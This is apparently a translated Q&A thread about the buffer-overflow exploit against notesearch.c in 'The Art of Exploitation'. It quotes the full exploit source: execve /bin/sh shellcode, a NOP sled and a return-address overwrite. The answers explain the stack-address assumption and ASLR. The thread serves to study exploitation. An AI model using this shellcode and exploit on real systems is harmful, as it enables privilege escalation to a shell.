【问题标题】:buffer overflow example from Art of Exploitation bookArt of Exploitation 中的缓冲区溢出示例
【发布时间】:2012-01-31 13:30:45
【问题描述】:

我正在阅读《剥削艺术》这本书,这是一本不错的书,我从exploit_notesearch.c 文件中看到了那个例子。

简要作者试图从notesearch.c溢出程序

int main(int argc, char *argv[]) {
    int userid, printing=1, fd;
    char searchstring[100];
    if(argc > 1) // If there is an arg
        strcpy(searchstring, argv[1]);
    else // otherwise,
        searchstring[0] = 0;

主函数的参数被复制到搜索字符串数组中,如果参数大于 100 字节,它将溢出主函数的返回地址。

作者在exploit_notesearch.c中准备shellcode,调用有漏洞的notesearch.c

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {

    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200);

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command);

    ret = (unsigned int) &i - offset; // Set return address

    for(i=0; i < 160; i+=4) // Fill buffer with return address
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); //run exploit
}

您可以看到 shellcode 与 NOP sled 和返回地址组合在一起,返回地址应该指向该 NOP sled。作者以局部变量 i 的地址为参考点,减去 270 个字节,试图找出 NOP sled 的大致位置。

据我了解,作者假设来自易受攻击的 notesearch.c 的主函数的堆栈帧将与来自exploit_notesearch.c 的主函数的堆栈帧位于同一堆栈段中。我假设这是因为只有这样我才能对局部变量的地址进行这种操作。

但是,作者在系统()的帮助下调用了易受攻击的notesearch.c,就像这个系统(命令)一样。我的观点是,内部某处的这个函数 system() 使用 fork() 来生成子进程,然后使用 exec() 函数来更改进程的图像。但是,如果图像被更改,则意味着堆栈段将是新的,并且在exploit_notesearch.c 中的主函数中对局部变量i 的地址进行的所有操作都将毫无用处,但不知何故,这个exploit 的工作让我完全感到困惑。

【问题讨论】:

    标签: security buffer-overflow exploit shellcode


    【解决方案1】:

    作者只是假设 C 编译器会将这两个程序的堆栈放置在相同(或非常相似)的虚拟地址 并且操作系统不会执行address randomization (ASLR)。这意味着两个主要函数的堆栈帧将大致位于同一位置,从而启用此漏洞。

    正如您可以想象的那样,这不是一种非常强大的利用方式(在大多数现代 64 位系统上它可能会失败)。更强大的攻击可以使用return oriented programming 的形式,或者可以尝试利用现有的char *argv 指向相关堆栈帧的指针。

    【讨论】:

    • 尼克拉斯感谢您的回答。子进程将使用存储在父进程esp中的值是操作系统在父进程和子进程之间分配虚拟内存的特殊属性吗?我的意思是当作者减去 270 字节时,他假设易受攻击的子进程的虚拟地址在堆栈段中会更低。例如,父进程完成了他的工作并使用了堆栈段中的地址,直到 0hffff4534,子进程会从该虚拟地址继续吗?如果不是这样,是否有任何好的手册或教程可以解释这一点。提前致谢
    • 如果我错了,请纠正我:据我所知,这种利用是可能的,因为两个进程都会为堆栈段分配相同的虚拟地址,但是因为易受攻击的主函数必须分配很多局部变量 searchstring 的字节,我们可以假设它在堆栈中会更低
    • 不,栈地址是通过查看执行的程序来确定的,与父进程无关。
    • 我不确定作者是如何计算出神奇数字 270 的,但可能是通过对最终可执行文件的分析
    • @Rustam Issabekov 如果系统使用虚拟内存,那么我们应该完全忘记父进程,因为子进程(不是线程)将获得自己的用户空间和相应的堆栈区域,因此没有意义说“易受攻击的子进程的虚拟地址将在堆栈段中较低”,除非系统不使用虚拟内存并且应该执行加载时重定位
    猜你喜欢
    • 1970-01-01
    • 2021-09-16
    • 1970-01-01
    • 2017-04-08
    • 2021-05-11
    • 2019-04-17
    • 1970-01-01
    • 2012-07-25
    相关资源
    最近更新 更多